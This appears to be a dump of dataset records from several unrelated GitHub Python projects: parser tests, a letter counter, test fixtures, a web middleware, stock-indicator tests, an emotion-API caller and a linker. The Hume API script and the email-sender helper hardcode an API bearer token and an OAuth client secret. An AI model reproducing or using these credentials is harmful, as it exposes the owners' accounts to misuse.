sub_private\n end subroutine sub_private\n\n integer function func_public()\n end function func_public\n\n integer function func_private()\n end function func_private\n end module public_access\n \"\"\"\n\n fortran_file = parse_fortran_file(data)\n fortran_file.modules[0].correlate(None)\n\n assert set(fortran_file.modules[0].all_procs.keys()) == {\n \"sub_public\",\n \"func_public\",\n \"sub_private\",\n \"func_private\",\n }\n assert set(fortran_file.modules[0].pub_procs.keys()) == {\n \"sub_public\",\n \"func_public\",\n }\n assert set(fortran_file.modules[0].all_types.keys()) == {\n \"type_public\",\n \"type_private\",\n }\n assert set(fortran_file.modules[0].pub_types.keys()) == {\n \"type_public\",\n }\n assert set(fortran_file.modules[0].all_vars.keys()) == {\n \"int_public\",\n \"int_private\",\n \"real_public\",\n \"real_private\",\n }\n assert set(fortran_file.modules[0].pub_vars.keys()) == {\n \"int_public\",\n \"real_public\",\n }\n\n\ndef test_module_private_access(parse_fortran_file):\n data = \"\"\"\\\n module private_access\n private\n integer :: int_public, int_private\n public :: int_public\n real :: real_private\n real, public :: real_public\n\n type :: type_public\n complex :: component_public\n complex, private :: component_private\n end type type_public\n\n type :: type_private\n character(len=1) :: string_public\n character(len=1), private :: string_private\n end type type_private\n\n public :: sub_public, func_public, type_public\n\n contains\n subroutine sub_public\n end subroutine sub_public\n\n subroutine sub_private\n end subroutine sub_private\n\n integer function func_public()\n end function func_public\n\n integer function func_private()\n end function func_private\n end module private_access\n \"\"\"\n\n fortran_file = parse_fortran_file(data)\n fortran_file.modules[0].correlate(None)\n\n assert set(fortran_file.modules[0].all_procs.keys()) == {\n \"sub_public\",\n \"func_public\",\n \"sub_private\",\n \"func_private\",\n }\n assert set(fortran_file.modules[0].pub_procs.keys()) == {\n \"sub_public\",\n \"func_public\",\n }\n assert set(fortran_file.modules[0].all_types.keys()) == {\n \"type_public\",\n \"type_private\",\n }\n assert set(fortran_file.modules[0].pub_types.keys()) == {\n \"type_public\",\n }\n assert set(fortran_file.modules[0].all_vars.keys()) == {\n \"int_public\",\n \"int_private\",\n \"real_public\",\n \"real_private\",\n }\n assert set(fortran_file.modules[0].pub_vars.keys()) == {\n \"int_public\",\n \"real_public\",\n }\n\n\ndef test_module_procedure_case(parse_fortran_file):\n \"\"\"Check that submodule procedures in interface blocks are parsed correctly. Issue #353\"\"\"\n data = \"\"\"\\\n module a\n implicit none\n interface\n MODULE SUBROUTINE square( x )\n integer, intent(inout):: x\n END SUBROUTINE square\n module subroutine cube( x )\n integer, intent(inout):: x\n end subroutine cube\n MODULE FUNCTION square_func( x )\n integer, intent(in):: x\n END FUNCTION square_func\n module function cube_func( x )\n integer, intent(inout):: x\n end function cube_func\n end interface\n end module a\n\n submodule (a) b\n implicit none\n contains\n MODULE PROCEDURE square\n x = x * x\n END PROCEDURE square\n module PROCEDURE cube\n x = x * x * x\n END PROCEDURE cube\n MODULE PROCEDURE square_func\n square_func = x * x\n END PROCEDURE square_func\n module procedure cube_func\n cube_func = x * x * x\n end procedure cube_func\n end submodule b\n \"\"\"\n\n fortran_file = parse_fortran_file(data)\n module = fortran_file.modules[0]\n assert len(module.interfaces) == 4\n assert module.interfaces[0].procedure.module\n assert module.interfaces[1].procedure.module\n assert module.interfaces[2].procedure.module\n assert module.interfaces[3].procedure.module\n\n\n@dataclass\nclass ParsedType:\n vartype: str\n kind: Union[None, str]\n strlen: Union[None, str]\n proto: Union[None, str]\n rest: str\n\n\n@pytest.mark.parametrize(\n [\"variable_decl\", \"expected\"],\n [\n (\"integer i\", ParsedType(\"integer\", None, None, None, \"i\")),\n (\"integer :: i\", ParsedType(\"integer\", None, None, None, \":: i\")),\n (\"integer ( int32 ) :: i\", ParsedType(\"integer\", \"int32\", None, None, \":: i\")),\n (\"real r\", ParsedType(\"real\", None, None, None, \"r\")),\n (\"real(real64) r\", ParsedType(\"real\", \"real64\", None, None, \"r\")),\n (\n \"REAL( KIND = 8) :: r, x, y\",\n ParsedType(\"real\", \"8\", None, None, \":: r, x, y\"),\n ),\n (\n \"REAL( 8 ) :: r, x, y\",\n ParsedType(\"real\", \"8\", None, None, \":: r, x, y\"),\n ),\n (\n \"complex*16 znum\",\n ParsedType(\"complex\", \"16\", None, None, \"znum\"),\n ),\n (\n \"character(len=*) :: string\",\n ParsedType(\"character\", None, \"*\", None, \":: string\"),\n ),\n (\n \"character(len=:) :: string\",\n ParsedType(\"character\", None, \":\", None, \":: string\"),\n ),\n (\n \"character(12) :: string\",\n ParsedType(\"character\", None, \"12\", None, \":: string\"),\n ),\n (\n \"character(LEN=12) :: string\",\n ParsedType(\"character\", None, \"12\", None, \":: string\"),\n ),\n (\n \"CHARACTER(KIND=kanji, len =12) :: string\",\n ParsedType(\"character\", \"kanji\", \"12\", None, \":: string\"),\n ),\n (\n \"CHARACTER( len = 12,KIND=kanji) :: string\",\n ParsedType(\"character\", \"kanji\", \"12\", None, \":: string\"),\n ),\n (\n \"CHARACTER( kind= kanji) :: string\",\n ParsedType(\"character\", \"kanji\", None, None, \":: string\"),\n ),\n (\"double PRECISION dp\", ParsedType(\"double precision\", None, None, None, \"dp\")),\n (\"DOUBLE complex dc\", ParsedType(\"double complex\", None, None, None, \"dc\")),\n (\n \"type(something) :: thing\",\n ParsedType(\"type\", None, None, [\"something\", \"\"], \":: thing\"),\n ),\n (\n \"class(foo) :: thing\",\n ParsedType(\"class\", None, None, [\"foo\", \"\"], \":: thing\"),\n ),\n (\n \"procedure(bar) :: thing\",\n ParsedType(\"procedure\", None, None, [\"bar\", \"\"], \":: thing\"),\n ),\n ],\n)\ndef test_parse_type(variable_decl, expected):\n vartype, kind, strlen, proto, rest = parse_type(\n variable_decl, [], {\"extra_vartypes\": []}\n )\n assert vartype == expected.vartype\n assert kind == expected.kind\n assert strlen == expected.strlen\n assert proto == expected.proto\n assert rest == expected.rest\n\n\ndef test_markdown_header_bug286(parse_fortran_file):\n \"\"\"Check that markdown headers work, issue #286\"\"\"\n data = \"\"\"\\\n module myModule\n contains\n subroutine printSquare(x)\n !! ## My Header\n !! This should be one section, but the header doesn't work\n integer, intent(in) :: x\n write(*,*) x*x\n end subroutine printSquare\n end module myModule\n \"\"\"\n\n fortran_file = parse_fortran_file(data)\n md_ext = [\n \"markdown.extensions.meta\",\n \"markdown.extensions.codehilite\",\n \"markdown.extensions.extra\",\n ]\n md = markdown.Markdown(\n extensions=md_ext, output_format=\"html5\", extension_configs={}\n )\n\n subroutine = fortran_file.modules[0].subroutines[0]\n subroutine.markdown(md, None)\n\n assert subroutine.doc.startswith(\"

My Header

\")\n\n\ndef test_markdown_codeblocks_bug286(parse_fortran_file):\n \"\"\"Check that markdown codeblocks work, issue #287\"\"\"\n data = \"\"\"\\\n module myModule\n contains\n subroutine printSquare(x)\n !! This codeblock should not be inline:\n !! ```\n !! printSquare(4)\n !! ```\n integer, intent(in) :: x\n write(*,*) x*x\n end subroutine printSquare\n end module myModule\n \"\"\"\n\n fortran_file = parse_fortran_file(data)\n md_ext = [\n \"markdown.extensions.meta\",\n \"markdown.extensions.codehilite\",\n \"markdown.extensions.extra\",\n ]\n md = markdown.Markdown(\n extensions=md_ext, output_format=\"html5\", extension_configs={}\n )\n\n subroutine = fortran_file.modules[0].subroutines[0]\n subroutine.markdown(md, None)\n\n assert \"printSquare(4)\" in subroutine.doc\n assert \" dict:\n letter_list = process_text_characters(text)\n letter_count = Counter(letter_list)\n letter_count_sorted = {k: v for k, v in sorted(letter_count.items(), key=lambda\n item: item[1], reverse=True)} # sorts dictionary by value\n return letter_count_sorted\n\nif __name__ == '__main__':\n # text = \"\"\"The unanimous Declaration of the thirteen united States of America, When in the Course of human events, it becomes necessary for one people to dissolve the political bands which have connected them with another, and to assume among the powers of the earth, the separate and equal station to which the Laws of Nature and of Nature's God entitle them, a decent respect to the opinions of mankind requires that they should declare the causes which impel them to the separation.\"\"\"\n # text = \"AMYMF ZE VE MCTMDD ROV WMV JEIMFSVLEA RM QEOF ZOLIM\"\n text = input(\"Enter text: \")\n parsed_text = letter_count(text)\n for k, v in parsed_text.items():\n print(f\"{k}: {v}\")\n ","repo_name":"mdlattimore/classic_cryptography","sub_path":"crypto_aid/letter_counter.py","file_name":"letter_counter.py","file_ext":"py","file_size_in_byte":1116,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31385686534","text":"import random\n\nimport cv2\nimport numpy as np\nimport pandas as pd\nimport pytest\nimport torch\n\nfrom detectors.mc import make_colors, make_image\n\n\ndef pytest_addoption(parser):\n parser.addoption(\n \"--max-epochs\",\n action=\"store\",\n default=2,\n type=int,\n help=\"Number of epochs to run the tests\",\n )\n\n\n@pytest.fixture\ndef fixed_seed(seed=137):\n random.seed(seed)\n np.random.seed(seed)\n torch.manual_seed(seed)\n torch.cuda.manual_seed(seed)\n torch.backends.cudnn.deterministic = True\n\n\n@pytest.fixture\ndef size():\n return 256\n\n\ndef to_image_path(path, x, extension=\".png\"):\n return (path / x).with_suffix(extension)\n\n\n@pytest.fixture\ndef annotations(fixed_seed, tmp_path, width=480, num_classes=2, n_samples=8):\n \"\"\"\n image_id class_name class_id rad_id x_min y_min x_max y_max\n 0 50a418190bc3fb1ef1633bf9678929b3 No finding 14 R11 NaN NaN NaN NaN\n 1 21a10246a5ec7af151081d0cd6d65dc9 No finding 14 R7 NaN NaN NaN NaN\n 2 9a5094b2563a1ef3ff50dc5c7ff71345 Cardiomegaly 3 R10 691.0 1375.0 1653.0 1831.0\n 3 051132a778e61a86eb147c7c6f564dfe Aortic enlargement 0 R10 1264.0 743.0 1611.0 1019.0\n 4 063319de25ce7edb9b1c6b8881290140 No finding 14 R10 NaN NaN NaN NaN\n \"\"\" # noqa\n\n # NB: 2 here stands for the second blob on an image\n df = pd.DataFrame(index=range(n_samples * 2))\n\n n_images = len(df)\n shift = 1 + df.index / len(df)\n df[\"image_id\"] = df.index % n_samples\n df[\"class_id\"] = -1\n df[\"image\"] = df[\"image_id\"].apply(\n lambda x: to_image_path(tmp_path, str(x))\n )\n\n df['colors'] = list(make_colors(len(df)))\n df[\"colors\"] = [np.array([77, 180, 198]), ] * len(df)\n\n shift = width / 5.\n df.loc[:n_images // 2 - 1, 'x_min'] = shift\n df.loc[:n_images // 2 - 1, 'x_max'] = shift + shift\n df.loc[:n_images // 2 - 1, 'y_min'] = shift\n df.loc[:n_images // 2 - 1, 'y_max'] = shift + shift\n df.loc[:n_images // 2 - 1, 'class_id'] = 0\n\n df.loc[n_images // 2:, 'x_min'] = 2 * shift\n df.loc[n_images // 2:, 'x_max'] = 2 * shift + shift\n df.loc[n_images // 2:, 'y_min'] = 2 * shift\n df.loc[n_images // 2:, 'y_max'] = 2 * shift + shift\n df.loc[n_images // 2:, 'class_id'] = 1\n\n # Hardcode the colors\n df[\"h\"] = width\n df[\"w\"] = width\n\n x1, y1, x2, y2 = df[['x_min', 'y_min', 'x_max', 'y_max']].values.T\n df['x_center'] = (x1 + x2) / 2\n df['y_center'] = (y1 + y2) / 2\n df['width'] = (x2 - x1)\n df['height'] = (y2 - y1)\n\n df['coco'] = list(df[['x_center', 'y_center', 'width', 'height']].values)\n df[\"xyxy\"] = list(df[['x_min', 'y_min', 'x_max', 'y_max']].values)\n return df.sample(frac=1)\n\n\n@pytest.fixture\ndef fake_dataset(tmp_path, annotations, size=256, image_col=\"image_id\"):\n object_properties = [\"coco\", \"class_id\", \"colors\"]\n for image_id, blobs in annotations.groupby(image_col):\n image_shape = (blobs[\"w\"].values[0], blobs[\"h\"].values[0])\n shapes = blobs[object_properties].to_dict(orient=\"records\")\n img = make_image(shapes, image_shape)\n\n ifile = f\"{image_id}.png\"\n cv2.imwrite(str(tmp_path / ifile), img)\n annotations.to_csv(tmp_path / \"train.csv\", index=False)\n yield tmp_path\n","repo_name":"kqf/coin-detector","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":3404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23347651803","text":"import time\n\nfrom fastapi import Request, Response\nfrom starlette.middleware.base import BaseHTTPMiddleware, RequestResponseEndpoint\nfrom starlette.types import ASGIApp\n\n\nclass StatisticsMiddleware(BaseHTTPMiddleware):\n def __init__(self, app: ASGIApp):\n super().__init__(app)\n\n self.request_count = 0\n self.request_time = 0.0\n\n @property\n def request_time_average(self):\n return 0.0 if not self.request_count else self.request_time / self.request_count\n\n def add_metrics(self, perf_metrics: float):\n self.request_count += 1\n self.request_time += perf_metrics\n\n async def dispatch(self, request: Request, call_next: RequestResponseEndpoint) -> Response:\n if not hasattr(request.state, \"request_time_average\"):\n request.state.request_time_average = self.request_time_average\n\n request.state.request_count = self.request_count\n\n start = time.perf_counter()\n response = await call_next(request)\n self.add_metrics(time.perf_counter() - start)\n\n return response\n","repo_name":"MrAstartes/orca","sub_path":"src/core/middlewares.py","file_name":"middlewares.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"165199524","text":"import requests\nimport base64\n\ndef call_hume_api(image_path):\n # Load image and convert to base64\n with open(image_path, \"rb\") as image_file:\n encoded_string = base64.b64encode(image_file.read()).decode('utf-8')\n \n # Prepare the data for the API call\n data = {\n 'image': encoded_string\n }\n \n # Define the HUME API endpoint and your custom model endpoint\n url = \"https://api.hume.ai/v1/models/9915e721-bd93-429d-ae45-27098417283d/versions/e4ac03fd-185d-40ae-98e9-b2c4fc00da42:predict\"\n \n # Define the headers for the API call (if necessary, e.g., for authentication)\n headers = {\n 'Authorization': 'Bearer jxYLjpcsWArNEAoTuOjdRU0QwKkDzDo0Ry047WrXYSGNlVo3',\n 'Content-Type': 'application/json',\n }\n \n # Make the API call\n response = requests.post(url, json=data, headers=headers)\n \n # Check for a valid response\n if response.status_code == 200:\n # Parse the response (assuming JSON response)\n response_data = response.json()\n return response_data\n else:\n print(f\"Failed to call API. Status code: {response.status_code}\")\n print(response.text) # Print error message if any\n\n# Example usage:\nresult = call_hume_api('path_to_your_image.jpg')\nprint(result)\n","repo_name":"AarhamWasit/calhacks","sub_path":"uzair/call_hume_api_custom_model.py","file_name":"call_hume_api_custom_model.py","file_ext":"py","file_size_in_byte":1275,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"32201853976","text":"import unittest\n\nfrom screener.domain.technical.day_value import DayValue\nfrom screener.domain.technical.money_flow_index import get_money_flow_index\n\n\nclass TestMoneyFlowIndex(unittest.TestCase):\n def test_money_flow_index__return_zero__when_values_are_decreasing(self):\n time_series = [DayValue(\"1\", 110, 110, 4, 2, 100),\n DayValue(\"2\", 108, 108, 4, 2, 100),\n DayValue(\"3\", 106, 106, 4, 2, 100),\n DayValue(\"4\", 104, 104, 4, 2, 100),\n DayValue(\"5\", 102, 102, 4, 2, 100),\n DayValue(\"6\", 100, 100, 4, 2, 100)]\n\n money_flow_indexes = get_money_flow_index(time_series, 3)\n\n expected_values = [{\n \"value\": 0,\n \"date\": \"4\"\n }, {\n \"value\": 0,\n \"date\": \"5\"\n }, {\n \"value\": 0,\n \"date\": \"6\"\n }]\n\n for index, money_flow in enumerate(money_flow_indexes):\n self.assertEqual(money_flow.get_value(), expected_values[index][\"value\"])\n self.assertEqual(money_flow.get_date(), expected_values[index][\"date\"])\n\n def test_money_flow_index__return_zero__when_volume_is_zero(self):\n time_series = [DayValue(\"1\", 110, 110, 4, 2, 0),\n DayValue(\"2\", 108, 108, 4, 2, 0),\n DayValue(\"3\", 109, 109, 4, 2, 0),\n DayValue(\"4\", 104, 104, 4, 2, 0),\n DayValue(\"5\", 112, 112, 4, 2, 0),\n DayValue(\"6\", 100, 100, 4, 2, 0)]\n\n money_flow_indexes = get_money_flow_index(time_series, 3)\n\n expected_values = [{\n \"value\": 0,\n \"date\": \"4\"\n }, {\n \"value\": 0,\n \"date\": \"5\"\n }, {\n \"value\": 0,\n \"date\": \"6\"\n }]\n\n for index, money_flow in enumerate(money_flow_indexes):\n self.assertEqual(money_flow.get_value(), expected_values[index][\"value\"])\n self.assertEqual(money_flow.get_date(), expected_values[index][\"date\"])\n\n def test_money_flow_index__return_closer_to_100__when_values_are_increasing(self):\n time_series = [DayValue(\"1\", 110, 110, 4, 2, 100),\n DayValue(\"2\", 112, 112, 4, 2, 100),\n DayValue(\"3\", 114, 114, 4, 2, 100),\n DayValue(\"4\", 116, 116, 4, 2, 100),\n DayValue(\"5\", 118, 118, 4, 2, 100),\n DayValue(\"6\", 120, 120, 4, 2, 100)]\n\n money_flow_indexes = get_money_flow_index(time_series, 3)\n\n expected_values = [{\n \"value\": 99.99991666673611,\n \"date\": \"4\"\n }, {\n \"value\": 99.99991803285407,\n \"date\": \"5\"\n }, {\n \"value\": 99.99991935490375,\n \"date\": \"6\"\n }]\n\n for index, money_flow in enumerate(money_flow_indexes):\n self.assertEqual(expected_values[index][\"value\"], money_flow.get_value(), )\n self.assertEqual(expected_values[index][\"date\"], money_flow.get_date())\n\n def test_money_flow_index__return_money_flow_index(self):\n time_series = [DayValue(\"1\", 110, 110, 4, 2, 100),\n DayValue(\"2\", 100, 100, 4, 2, 100),\n DayValue(\"3\", 102, 102, 4, 2, 100),\n DayValue(\"4\", 94, 94, 4, 2, 100),\n DayValue(\"5\", 104, 104, 4, 2, 100),\n DayValue(\"6\", 101, 101, 4, 2, 100)]\n\n money_flow_indexes = get_money_flow_index(time_series, 3)\n\n expected_values = [{\n \"value\": 34.394871597256426,\n \"date\": \"4\"\n }, {\n \"value\": 68.55339444648322,\n \"date\": \"5\"\n }, {\n \"value\": 34.700282618029064,\n \"date\": \"6\"\n }]\n\n for index, money_flow in enumerate(money_flow_indexes):\n self.assertEqual(money_flow.get_value(), expected_values[index][\"value\"])\n self.assertEqual(money_flow.get_date(), expected_values[index][\"date\"])\n","repo_name":"thenakliman/stock-screener","sub_path":"screener/tests/unit/screener/domain/technical/test_money_flow_index.py","file_name":"test_money_flow_index.py","file_ext":"py","file_size_in_byte":4052,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"1208139424","text":"import requests\nfrom authentication.models import User, UserSocialCredentials\n\n\ndef renewToken(user):\n \"\"\"\n Function to renew access token.\n \"\"\"\n renew_url = 'https://www.googleapis.com/oauth2/v4/token'\n social_creadetials = UserSocialCredentials.object.get(user=user)\n data = {\n \"client_id\": '705813183307-hminde5i1ejhm790gl6t2ct0j6n7vft0.apps.googleusercontent.com',\n \"client_secret\": 'NCxFWXMsV4fgU36zmuh0fk1N',\n \"grant_type\": \"refresh_token\",\n \"refresh_token\": social_creadetials.refresh_token\n }\n res = requests.post(renew_url, data=data)\n access_token = res.json()['access_token']\n social_creadetials.access_token = access_token\n social_creadetials.save()\n return access_token\n","repo_name":"Ramesh7128/emailwatch","sub_path":"emailsender/helpers/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73219952146","text":"from photoboo.PhotoBooManager import PhotoBooManager\nimport time\nimport cv2\n\n# image_filepath = \"beatles.jpg\"\nimage_filepath = \"original_1571920621.jpg\"\n# image_filepath = \"adonis-moustache.jpg\"\n\nphoto_boo = PhotoBooManager()\n\ntimestamp = round(time.time())\nprint(\"ghosting...\")\nimage = photo_boo.snowmanify(cv2.imread(image_filepath, cv2.IMREAD_COLOR), timestamp)\nprint(\"took {} seconds to ghost\".format(round(time.time()) - timestamp))\n\nprint(image)","repo_name":"glitch003/photoboo","sub_path":"camera/test-snowmen.py","file_name":"test-snowmen.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4569778626","text":"#!/usr/bin/python3\nfrom calculator_1 import add, sub, mul, div\n\n\ndef arg_calc(argv):\n n = len(argv) - 1\n if n != 3:\n print(\"Usage: ./100-my_calculator.py \")\n exit(1)\n a = int(argv[1])\n operator = argv[2]\n b = int(argv[3])\n if operator == '+':\n print(\"{:d} {:s} {:d} = {:d}\".format(a, operator, b, add(a, b)))\n elif operator == '-':\n print(\"{:d} {:s} {:d} = {:d}\".format(a, operator, b, sub(a, b)))\n elif operator == '*':\n print(\"{:d} {:s} {:d} = {:d}\".format(a, operator, b, mul(a, b)))\n elif operator == '/':\n print(\"{:d} {:s} {:d} = {:d}\".format(a, operator, b, div(a, b)))\n else:\n print(\"Unknown operatorerator. Available operators: +, -, * and /\")\n exit(1)\n\n\nif __name__ == \"__main__\":\n from sys import argv\n arg_calc(argv)\n","repo_name":"NonsoGodson/alx-higher_level_programming","sub_path":"0x02-python-import_modules/100-my_calculator.py","file_name":"100-my_calculator.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"41956732778","text":"from pssparser.model.component_type import ComponentType\nfrom pssparser.model.action_type import ActionType\nfrom pssparser.model.struct_type import StructType\nfrom pssparser.model.expr_hierarchical_id import ExprHierarchicalId\nfrom pssparser.model.field_attr import FieldAttrFlags, FieldAttr\nfrom pssparser.model.data_type_user import DataTypeUser\nfrom pssparser.model.activity_stmt_traverse_handle import ActivityStmtTraverseHandle\nfrom pssparser.model.activity_stmt_traverse_type import ActivityStmtTraverseType\nfrom pssparser.model.expr_hierarchical_id_elem import ExprHierarchicalIdElem\n\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\n'''\nCreated on Mar 13, 2020\n\n@author: ballance\n'''\nfrom enum import Enum, auto\nfrom typing import Dict, List\n\nfrom pssparser.model.cu_type import CUType\nfrom pssparser.model.expr_static_ref_path import ExprStaticRefPath\nfrom pssparser.model.reference import Reference\nfrom pssparser.model.type_identifier import TypeIdentifier\nfrom pssparser.model.type_model_visitor import TypeModelVisitor\nfrom pssparser.model.field import Field\nfrom pssparser.model.expr_var_ref_path import ExprVarRefPath\n\n\nclass LinkPhase(Enum):\n GlobalDecls = auto()\n LocalDecls = auto()\n LocalLink = auto()\n \nclass DeclScope(object):\n \n def __init__(self, linker=None):\n self.decl_m : Dict[str, object] = {}\n self.linker = linker\n \n def add_decl(self, d):\n if isinstance(d, Field):\n self.decl_m[str(d.name)] = d\n else:\n self.decl_m[d.name.toString()] = d\n \n \nclass LinkVisitor(TypeModelVisitor):\n \"\"\"Implements linking from references to relevant declarations\"\"\"\n \n def __init__(self, cu_l):\n super().__init__()\n self.phase = LinkPhase.GlobalDecls\n self.scope_s = []\n self.depth = 0\n self.target_depth = 0\n self.changes = 0\n self.cu : CUType = None\n self.error_limit = 0\n self.num_errors = 0\n self.children = cu_l\n pass\n \n def link(self):\n for cu in self.children:\n self.push_scope(cu)\n for c in cu.children:\n c.accept(self)\n self.pop_scope()\n\n def visit_package(self, p):\n self.push_scope(p)\n for ch in p.children:\n ch.accept(self)\n self.pop_scope()\n \n def visit_action(self, a : ActionType):\n if a.super_type is not None:\n a.super_type.accept(self)\n\n self.push_scope(a) \n for ch in a.children:\n ch.accept(self)\n self.pop_scope()\n \n def visit_activity_stmt_traverse_handle(self, h : ActivityStmtTraverseHandle):\n # Get things resolved first\n h.path.accept(self)\n if h.constraint is not None:\n field = h.path.hid.path_l[-1].target\n if field is None:\n raise Exception(\"Failed to resolve ref\")\n# ftype = field.ftype.tid.target\n self.push_scope(field)\n h.constraint.accept(self)\n self.pop_scope()\n \n def visit_activity_stmt_traverse_type(self, t : ActivityStmtTraverseType):\n t.tid.accept(self)\n\n if t.constraint is not None:\n self.push_scope(t.tid.target)\n t.constraint.accept(self)\n self.pop_scope() \n \n def visit_component(self, c : ComponentType):\n if c.super_type is not None:\n c.super_type.accept(self)\n \n self.push_scope(c)\n for ch in c.children:\n ch.accept(self)\n self.pop_scope()\n \n def visit_expr_hierarchical_id(self, e : ExprHierarchicalId):\n print(\"visit_expr_hierarchical_id: \" + e.toString())\n s = self.scope()\n\n root_s = None \n root_n = e.path_l[0].name.toString()\n# while s is not None:\n# print(\"s=\" + str(s))\n# for c in s.children:\n# print(\"c=\" + str(c) + \" root_n=\" + root_n)\n# if hasattr(c, \"name\") and c.name is not None and c.name.toString() == root_n:\n# root_s = c\n# break\n# if root_s is not None:\n# e.path_l[0].target = root_s\n# break\n# s = s.parent\n i = len(self.scope_s)-1\n while i>=0:\n print(\"s=\" + str(s))\n s = self.scope_s[i]\n for c in s.children:\n print(\"c=\" + str(c) + \" root_n=\" + root_n)\n if hasattr(c, \"name\") and c.name is not None and c.name.toString() == root_n:\n print(\" name=\" + c.name.toString())\n root_s = c\n e.path_l[0].target = root_s\n \n if isinstance(s, FieldAttr):\n # We're relative to a field, and need to \n # resolve this to be relative to a scope\n e.path_l.insert(0, ExprHierarchicalIdElem(\n s.name, None))\n e.path_l[0].target = s\n break\n if root_s is not None:\n break\n i-=1\n \n \n if root_s is None:\n raise Exception(\"Failed to find root \" + root_n)\n\n # Now, search down\n for elem in e.path_l[1:]:\n name = elem.name.toString() \n for c in root_s.children:\n if hasattr(c, \"name\") and c.name.toString() == name:\n elem.target = c\n break\n \n if elem.target is None:\n raise Exception(\"Failed to find element \" + name)\n\n root_s = elem.target\n \n def visit_expr_var_ref_path(self, r):\n \n print(\"visit_expr_var_ref_path: \" + r.toString())\n # Resolve the path\n r.hid.accept(self)\n \n if r.lhs is not None:\n r.lhs.accept(self)\n \n if r.rhs is not None:\n r.rhs.accept(self)\n \n \n def visit_expr_static_ref_path(self, r:ExprStaticRefPath):\n print(\"TODO: visit_static_ref_path\")\n TypeModelVisitor.visit_expr_static_ref_path(self, r)\n \n def visit_field_attr(self, f):\n super().visit_field_attr(f)\n \n if isinstance(f.ftype, DataTypeUser):\n print(\"visit_field_attr: DataTypeUser - target=\" + str(f.ftype.tid.target))\n if isinstance(f.ftype.tid.target, ComponentType):\n print(\"Adding in 'Component'\")\n f.flags |= FieldAttrFlags.Component\n \n \n def visit_struct_type(self, s : StructType):\n if s.super_type is not None:\n s.super_type.accept(self)\n \n self.push_scope(s)\n for ch in s.children:\n ch.accept(self)\n self.pop_scope()\n\n def scope(self):\n return self.scope_s[-1]\n \n def push_scope(self, s):\n self.scope_s.append(s)\n \n def pop_scope(self):\n return self.scope_s.pop()\n \n \n def visit_field(self, f):\n if self.phase == LinkPhase.LocalDecls:\n self.scope().add_decl(f)\n \n def visit_reference(self, r):\n pass\n \n \n def find_type_in_scope(self, s, name : str):\n scope = None\n for c in s.children:\n # TODO: need to search imports\n if hasattr(c, \"name\") and c.name is not None:\n if isinstance(c.name, str):\n print(\"Error: c.name is string (\" + c.name + \")\")\n if c.name is None:\n print(\"Name is None for \" + str(c))\n print(\"name: \" + c.name.toString())\n if hasattr(c, \"name\") and c.name.toString() == name:\n scope = c\n break\n \n if scope is None and s.super_type is not None:\n if s.super_type.target is None:\n s.super_type.target = self.find_type(s.super_type)\n\n # Search super-scope\n scope = self.find_type_in_scope(s.super_type.target, name)\n \n return scope\n\n def visit_type_identifier(self, tid:TypeIdentifier):\n print(\"--> visit_type_identifier: \" + tid.toString())\n tid.target = self.find_type(tid)\n print(\"<-- visit_type_identifier: \" + tid.toString() + \" \" + str(tid.target))\n \n def find_type(self, tid : TypeIdentifier):\n scope = None\n \n # First, find the root\n if tid.is_global:\n # Start at global scope\n scope = self.scope_s[0]\n else:\n # Go up the stack until we find the name\n i=len(self.scope_s)-1\n\n scope = None \n while i>=0:\n s = self.scope_s[i]\n \n scope = self.find_type_in_scope(s, tid.path[0].ref.toString())\n \n if scope is not None:\n break\n i -= 1\n \n if scope is None:\n raise Exception(\"Failed to resolve type: \" + tid.toString())\n \n # Now, we need to work our way back down\n for e in tid.path[1:]:\n n = None\n for c in scope.children:\n if hasattr(c, \"name\") and c.name.toString() == e.ref.toString():\n n = c\n break\n \n if n is None:\n raise Exception(\"Failed to resolve type: \" + tid.toString() + \" (elem \" + e.toString + \")\")\n\n scope = n\n \n return scope\n \n \n \n def _resolve_ref(self, ref : ExprVarRefPath):\n scope = self.scope()\n \n target = None\n \n for id in ref.hid.path_l:\n if id.name.toString() in scope.decl_m.keys():\n target = scope.decl_m[str(id.name)]\n else:\n target = None\n break\n \n ref.target = target\n \n \n def _resolve_type(self, ref : TypeIdentifier):\n target = None\n \n ref_i = 0\n \n # First, find the root of the reference\n if ref.is_global:\n if ref.path[ref_i].ref.id in self.scope_s[0].decl_m.keys():\n target = self.scope_s[0].decl_m[ref.path[ref_i].ref.id]\n else:\n # Work up the scope stack searching.\n for si in range(1,len(self.scope_s)+1):\n if ref.path[ref_i].ref.id in self.scope_s[-si].decl_m.keys():\n # Found it!\n target = self.scope_s[-si].decl_m[ref.path[ref_i].ref.id]\n break\n \n if target is None:\n # TODO: Add marker to active CU\n self.num_errors += 1\n if self.error_limit != 0 and self.num_errors > self.error_limit:\n raise Exception(\"Exceeded error limit\")\n return None\n \n if target is not None and len(ref.path) > 1:\n ref_i += 1\n \n while ref_i < len(ref.path):\n new_target = None\n ref_name = ref.path[ref_i].ref.id\n \n for c in target.children:\n if hasattr(c, \"name\") and c.name.toString() == ref_name:\n new_target = c\n break\n if new_target is 